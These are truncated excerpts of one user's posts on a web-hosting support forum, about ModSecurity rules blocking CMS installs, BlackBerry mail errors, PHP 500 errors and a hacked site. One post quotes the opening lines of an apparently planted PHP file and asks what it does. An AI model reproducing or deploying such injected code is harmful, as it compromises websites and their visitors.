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Thanks and thanks! I did post a follow up in the ticket with what might be a another related issue. Were these problems a result of ModSecurity rules/settings? I had a similar problem before, that was causing an issue with Joomla and WordPress, just curios is the cause was the same...

Looks like EasyApps won't install either....

I noticed web 15 is fairly new on Cluster 1 - thanks! However, it seems that installing any type of CMS (Joomla, WordPress) is causing all kinds of Mod_security issues: I have NOT opened a trouble ticket yet, I suppose that's the next step, but I thought I'd check in here first to see if...

Is this something that you can check on a specific domain if I submit a ticket? The reason I ask, is the problem is coming up at least once or twice each week. But it mysteriously 'goes away' at some point. I have never submitted a ticket because it is so random, and I didn't think there...

Well, it looks like it's just ATT that seems to have issues. I try to encourage all my clients NOT to use a direct setup (just use a forward instead), but of the few that do both Sprint and Verizon do not seem to have this issue. The only problems seem to be on ATT....still trying to see...

I am fairly certain that all of my 'problems' are from users that have a carrrier that forces them to use BIS - you can't even setup an email account from the phone, it HAS to be done using the carrier's website and BIS! Question: Would you be blocking an IP from the carrier instead of a...

I never really liked the BlackBerry model - I understand their thinking, and can see it working on a smaller scale, but when ALL those requests go through one service .... I also prefer my Palm or even WinMobile (wow, did I really say that?) - and have never had problems like this. Any...

I'm getting questions from several BlackBerry users regarding this error message: It's not a regular error message, bet it has been happening more frequently lately. Are there any optional mail services (or upgrades) I can offer to elminate this error. I really try to discourage...

I'm sure it will never happen WHILE we're watching it! ;) Awesome support, as always! Thanks!

Thanks - I appreciate it! I just got two phone calls, and it looks like it was down either constantly or intermittently from around 5:30am CDT - 8:30am CDT this morning. Don't know if you have any logs that might point out what was happening during that period, but I thought I'd pass along...

I've noticed that a couple of sites on web14 that are PHP will occassionaly 'die' and start returning "HTTP Error 500-Internal Server Error". This morning - 8:00am CDT, USA - the sites were down again for quite awhile. I was just in the process of typing up a support ticket...when they came...

I posted in the PHP forum also, but I noticed that one of the only sub folders included in my 'hack' was the webalizer folder. The suspicious htaccess and php files were in other folders that are referenced by different web pages - things like 'images' 'admin', and even non-standard names...

I did have quite a few 777 folders - I would assume 755 is secure enough? Just finished patching a number of Joomla installs up to the latest version...I'll have to double check the editor since I know a number of extensions load the JCE editor for Joomla. Interesting side note - I spent a...

My Google searches are failing me.... Can anyone breifly explain this: 231399.php <? error_reporting(0); $a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME)...

I noticed today on one of my user accounts, under the File Manger, the ownership under 'users' and 'group' appears to have changed. Normally the user / group would look like this: accountname : accountname Now it's displaying: accountname : toontje0 I added a new domain to the...

The entries in the error logs seem different recently. The messages seem briefer, all of the errors related to MSN or Google crawlers are gone...it seems like all the mod_security messages are gone. I've been trying to diagnose an issue that seems consistent across many different domains...

When will this be happening? I need to get several domains fixed, and seems to be all related to a rule with ID 960010. Does it need to be done on a LocationMatch type situation, or will it be the entire rule? Thanks!

I finally submitted a ticket earlier today and Praveen was quick to help find a solution, which did involve a Mod Security exclusion rule. I've still got one problem with the same gallery script, and looks like it might require one more ModSec exclusion rule... This problem appears to be...

I was trying to disable some specific Sec stuff...I'm guessing you have that totally locked down though...

No ticket yet - I know you folks are really busy and I feel guilty about even posting here!! I'll keep 'learning' more about the issue and trying to pin down the porblem. Ideally I'll have a specific question to post a ticket - rather than just 'this does not work - why?!?!?!' Thanks!